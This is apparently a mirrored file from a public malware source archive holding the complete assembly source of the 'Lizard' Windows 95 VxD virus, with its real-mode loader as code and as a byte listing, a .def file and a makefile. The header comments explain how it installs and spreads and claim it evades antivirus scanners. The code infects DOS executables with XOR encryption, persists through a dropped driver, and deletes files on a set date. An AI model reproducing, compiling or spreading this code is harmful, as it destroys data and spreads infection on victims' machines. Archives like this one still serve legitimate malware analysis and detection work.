mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
626 lines
14 KiB
NASM
626 lines
14 KiB
NASM
;-----------------------------------------------------------------------------
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;Lizard by Reptile/29A (another version ;)
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;-----------------------------------------------------------------------------
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; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
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; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
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; ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
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; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
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; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
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;This is an encrypted vxd direct action dos exe infector (I added some anti-
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;heuristics and other stuff and optimized the code of v1.0).
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;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
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;available one of the three dirs and then returns back to the host. After the
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;next reboot...
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;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
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;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
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;or the registry). Then the virus takes control and hooks the V86 interrupt
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;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
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;and on find first file (4eh) using direct action techniques to infect all
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;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
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;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
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;bytes.
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;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
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;detect it (all for win95).
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;Compiling lzd.vxd (win95 DDK):
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;makefile
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;Compiling rmlzd.inc:
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;tasm /m2 rmlzd.asm
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;tlink /t rmlzd.obj
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;file2db rmlzd.com (or another db generator)
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;modify rmlzd.dat
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;To install copy lzd.vxd to one of the following dirs:
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;- c:\windows\system\iosubsys
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;- c:\win95\system\iosubsys
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;- c:\windows.000\system\iosubsys
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;...or start lizard.exe :)
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;P.S.:
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;Sandy: are u lucky now? ;)
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;Jacky: thanx for testing it!
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;GriYo: the stack stuff really didn't work :P
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;P.P.S:
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;TrY MaGiC MuShRoOmS...
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;---[LZD.ASM]-----------------------------------------------------------------
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.386p
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.xlist
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include vmm.inc
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.list
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vxdhsize equ 701
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vxddsize equ 81
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vxdcsize equ 880
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esize equ encend - encstart
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vsize equ vend - start
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Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
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Undefined_Init_Order,,
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VxD_Locked_Data_Seg
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wcard db '*.e?e',0 ;*.l?z
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include rmlzd.inc ;realmode code
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dflag db 0
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pflag db 0
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ndta db 43 dup (?)
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header db 26 dup (?)
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VxD_Locked_Data_Ends
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;-----------------------------------------------------------------------------
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VxD_Locked_Code_Seg
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BeginProc LZD_Device_Init
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;trigger
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mov ah,2ah ;get date
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vxdint 21h
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;live drazil si
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cmp dh,10 ;26.10.?
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jne npload
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cmp dl,26
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jne npload
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mov pflag,1 ;hehe
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npload:
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mov eax,21h ;install int 21h handler
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mov esi,offset32 int21h
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VMMcall Hook_V86_Int_Chain
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clc
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ret
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EndProc LZD_Device_Init
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;-----------------------------------------------------------------------------
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BeginProc int21h
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cmp [ebp.Client_AH],4bh ;exec
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je short ww
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cmp [ebp.Client_AH],3ch ;create
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je short ww
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cmp [ebp.Client_AH],6ch ;ext. open
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je short ww
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cmp [ebp.Client_AH],3eh ;close
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je short ww
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cmp [ebp.Client_AH],4eh ;find first
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je short ww
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jmp prevhook
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ww:
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Push_Client_State ;save regs
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VMMcall Begin_Nest_Exec
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;-----------------------------------------------------------------------------
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cmp dflag,1
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je done
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mov ax,3d02h ;open lzd.vxd
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lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
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vxdint 21h
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jnc short rd
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mov ax,3d02h ;open the vxd
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lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
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vxdint 21h
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jnc short rd
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mov ax,3d02h ;open the vxd
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lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
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vxdint 21h
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jc ecsit ;skip it
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rd:
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xchg ax,bx
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mov ah,3fh ;store the header of the vxd
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mov cx,vxdhsize
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lea edx,vxdheader
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vxdint 21h
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mov ax,4201h ;jmp over zeros
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xor cx,cx
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mov dx,3400
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vxdint 21h
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mov ah,3fh ;store the vxddata
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mov cx,vxddsize
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lea edx,vxddata
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vxdint 21h
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mov ax,4201h ;jmp over realmodecode and zeros
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xor cx,cx
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mov dx,2037
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vxdint 21h
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mov ah,3fh ;store the vxdcode
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mov cx,vxdcsize
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lea edx,vxdcode
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vxdint 21h
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mov ah,3eh ;close...
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vxdint 21h
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mov dflag,1 ;set flag
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;-----------------------------------------------------------------------------
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done:
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mov ah,1ah ;set dta
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lea edx,ndta
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vxdint 21h
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ffirst:
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mov ah,4eh ;search for first exe
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jmp short w
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fnext:
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mov ah,4fh ;find next exe
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w:
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mov cx,7
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lea edx,wcard ;*.e?e
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vxdint 21h
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jc ecsit
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mov ax,4301h ;set normal attribute
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mov cx,20h
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lea edx,[ndta + 30]
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vxdint 21h
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cmp pflag,1 ;sux0ring microsuckers
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jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
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evil:
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;evil payload against the imperialism of microsoft!
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mov ah,41h ;yhcrana
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lea edx,[ndta + 30]
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vxdint 21h
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jmp ecsit
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pheeew:
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mov ax,3d02h ;open the victim
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lea edx,[ndta + 30]
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vxdint 21h
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jc fnext
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xchg ax,bx
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mov ah,3fh ;read header
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mov cx,26
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lea edx,header
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vxdint 21h
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cmp word ptr [header],'ZM' ;exe?
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jne cfile
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cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
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jne cfile
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cmp word ptr [header + 18h],40h ;win exe?
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je cfile
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mov al,[header + 12h] ;infected?
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or al,al
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jne cfile
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;save ss:sp
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mov ax,word ptr [header + 0eh]
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mov sseg,ax
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mov ax,word ptr [header + 10h]
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mov ssp,ax
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;save cs:ip
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mov eax,dword ptr [header + 14h]
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mov csip,eax
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mov ax,4202h ;eof
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xor cx,cx
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cwd
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vxdint 21h
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;calc new cs:ip
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mov cx,16
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div cx
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sub ax,word ptr [header + 8]
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mov word ptr [header + 14h],dx
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mov word ptr [header + 16h],ax
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add edx,vend ;calc stack
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mov word ptr [header + 0eh],ax
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mov word ptr [header + 10h],dx
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;xor encryption
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rdnm:
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in al,40h
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or al,al
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je rdnm
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mov [encval],al ;save random value
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mov edi,offset32 encstart
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mov cx,esize
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xl:
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xor [edi],al
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inc edi
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loop xl
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;write virus
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mov ah,40h
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mov cx,vsize
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mov edx,offset32 start
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vxdint 21h
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;undo
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mov al,[encval]
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mov edi,offset32 encstart
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mov cx,esize
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xll:
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xor [edi],al
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inc edi
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loop xll
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mov ax,4202h ;eof
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xor cx,cx
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cwd
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vxdint 21h
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mov cx,512 ;calc pages
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div cx
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or dx,dx
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jz short np
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inc ax
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np:
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mov word ptr [header + 4],ax
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mov word ptr [header + 2],dx
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mov ax,4200h ;bof
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xor cx,cx
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cwd
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vxdint 21h
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rnd:
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in al,40h ;set infection flag
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or al,al
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je rnd
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mov [header + 12h],al
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mov ah,40h ;write new header
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mov cx,26
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lea edx,header
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vxdint 21h
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cfile:
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mov cl,byte ptr [ndta + 21] ;restore attribute
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lea edx,[ndta + 1eh]
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mov ax,4301h
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vxdint 21h
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mov cx,word ptr [ndta + 22] ;restore time/date
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mov dx,word ptr [ndta + 24]
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mov ax,5701
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vxdint 21h
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mov ah,3eh ;close file
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vxdint 21h
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jmp fnext
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ecsit:
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VMMcall End_Nest_Exec
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Pop_Client_State
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prevhook:
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stc
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ret
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EndProc int21h
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;-----------------------------------------------------------------------------
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BeginProc LZD_Control
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Control_Dispatch Init_Complete,LZD_Device_Init
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clc
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ret
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EndProc LZD_Control
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wb db 13,10,'Lizard by Reptile/29A',0
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VxD_Locked_Code_Ends
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End ;this is the end my only friend the end...
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;---[RMLZD.ASM]---------------------------------------------------------------
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;Lizard's real mode portion
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.286
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vxdhsize equ 701
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vxddsize equ 81
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vxdcsize equ 880
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esize equ encend - encstart
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rmsize equ rmend - rmstart
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.model tiny
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.code
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org 100h
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start:
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rmstart:
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;get delta
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;-----------------------------------------------------------------------------
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call $ + 3
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drazil:
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pop si
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sub si,offset drazil
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push si
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pop bp
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;-----------------------------------------------------------------------------
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push ds ;coz psp
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push cs
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pop ds
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;decrypt it
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db 176 ;mov al
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encval db 0
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;-----------------------------------------------------------------------------
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lea di,[bp + offset encstart]
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mov cx,esize
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xd:
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jmp fj
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fj2:
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inc di
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loop xd
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jmp encstart
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fj:
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xor [di],al
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jmp fj2
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;-----------------------------------------------------------------------------
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encstart:
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mov ax,3d00h ;try to open lzd.vxd in
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lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
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int 21h
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jnc cfile ;exit if already installed
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mov ah,3ch ;install lzd.vxd
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xor cx,cx
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int 21h
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jnc inst
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mov ax,3d00h ;try to open lzd.vxd in
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lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
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int 21h
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jnc cfile
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mov ah,3ch
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xor cx,cx
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int 21h
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jnc inst
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mov ax,3d00h ;try to open lzd.vxd in
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lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
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int 21h
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jnc cfile
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mov ah,3ch
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xor cx,cx
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int 21h
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jc exit
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inst:
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xchg ax,bx
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mov ah,40h ;write the header
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mov cx,vxdhsize
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lea dx,[bp + offset vxdheader]
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int 21h
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;write some zeros
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mov cx,3400
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lzero:
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push cx
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mov ah,40h
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mov cx,1
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lea dx,[bp + zero]
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int 21h
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pop cx
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loop lzero
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mov ah,40h ;write the data
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mov cx,vxddsize
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lea dx,[bp + offset vxddata]
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int 21h
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mov ah,40h ;write the rmcode
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mov cx,rmsize
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lea dx,[bp + offset rmstart]
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int 21h
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;write some more zeros
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mov cx,1732
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lzero2:
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push cx
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mov ah,40h
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mov cx,1
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lea dx,[bp + zero]
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int 21h
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pop cx
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loop lzero2
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mov ah,40h ;write the code
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mov cx,vxdcsize
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lea dx,[bp + offset vxdcode]
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int 21h
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cfile:
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mov ah,3eh
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int 21h
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;exe return
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exit:
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pop ax ;psp
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add ax,11h
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dec ax
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add word ptr [bp + offset csip + 2],ax
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;stack
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db 5 ;add ax
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sseg dw 0fff0h ;test
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mov ss,ax
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db 0bch ;mov sp
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ssp dw 0fffeh
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db 0eah
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csip dd 0fff00000h
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zero db 0
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dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
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dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
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dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
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rmend:
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vxdheader db vxdhsize dup (?)
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vxddata db vxddsize dup (?)
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vxdcode db vxdcsize dup (?)
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encend:
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ends
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end start
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;---[RMLZD.INC]---------------------------------------------------------------
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;Modified db listing of rmlzd.com
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start:
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db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
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db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
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;db 000h
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encval db 0
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db 08Dh
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db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
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db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
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db 0F7h
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encstart:
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db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
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db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
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db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
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db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
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db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
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db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
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db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
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db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
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db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
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db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
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db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
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db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
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db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
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db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
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db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
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db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
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db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
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db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
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db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
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db005h
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;db 0F0h, 0FFh
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sseg dw 0fff0h ;not necessary
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db 08Eh, 0D0h, 0BCh
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;db 0FEh, 0FFh
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ssp dw 0fffeh
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db0EAh
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;db 000h, 000h, 0F0h, 0FFh
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csip dd 0fff00000h
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db 000h
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;db 063h, 03Ah
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;db05Ch, 077h, 069h, 06Eh, 064h, 06Fh, 077h, 073h
|
||
;db05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
|
||
;db069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h
|
||
;db05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h
|
||
;db000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 039h
|
||
;db035h, 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh
|
||
;db05Ch, 069h, 06Fh, 073h, 075h, 062h, 073h, 079h
|
||
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
|
||
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
|
||
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
|
||
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
|
||
;db069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h
|
||
;db05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h
|
||
;db000h
|
||
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
|
||
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
|
||
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
|
||
vxdheader db vxdhsize dup (?)
|
||
vxddata db vxddsize dup (?)
|
||
vxdcode db vxdcsize dup (?)
|
||
encend:
|
||
vend:
|
||
|
||
;---[LZD.DEF]-----------------------------------------------------------------
|
||
|
||
VXD LZD DYNAMIC
|
||
DESCRIPTION ''
|
||
SEGMENTS
|
||
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||
CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||
_TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||
_BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||
_ITEXT CLASS 'ICODE' DISCARDABLE
|
||
_IDATA CLASS 'ICODE' DISCARDABLE
|
||
_PTEXT CLASS 'PCODE' NONDISCARDABLE
|
||
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
|
||
_STEXT CLASS 'SCODE' RESIDENT
|
||
_SDATA CLASS 'SCODE' RESIDENT
|
||
_DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
|
||
_DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
|
||
_DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
|
||
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
|
||
_RCODE CLASS 'RCODE'
|
||
|
||
EXPORTS
|
||
LZD_DDB @1
|
||
|
||
;---[MAKEFILE]----------------------------------------------------------------
|
||
|
||
NAME = lzd
|
||
|
||
LINK = LINK
|
||
|
||
ASM = ml
|
||
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
|
||
ASMENV = ML
|
||
LFLAGS = /VXD /NOD
|
||
|
||
.asm.obj:
|
||
set $(ASMENV)=$(AFLAGS)
|
||
$(ASM) -Fo$*.obj $<
|
||
|
||
all : $(NAME).VXD
|
||
|
||
OBJS = lzd.obj
|
||
|
||
lzd.obj: lzd.asm
|
||
|
||
$(NAME).VxD: $(NAME).def $(OBJS)
|
||
link @<<$(NAME).lnk
|
||
$(LFLAGS)
|
||
/OUT:$(NAME).VxD
|
||
/MAP:$(NAME).map
|
||
/DEF:$(NAME).def
|
||
$(OBJS)
|
||
<<
|
||
|
||
@del *.exp>nul
|
||
@del *.lib>nul
|
||
@del *.map>nul
|
||
@del *.obj>nul
|
||
;... |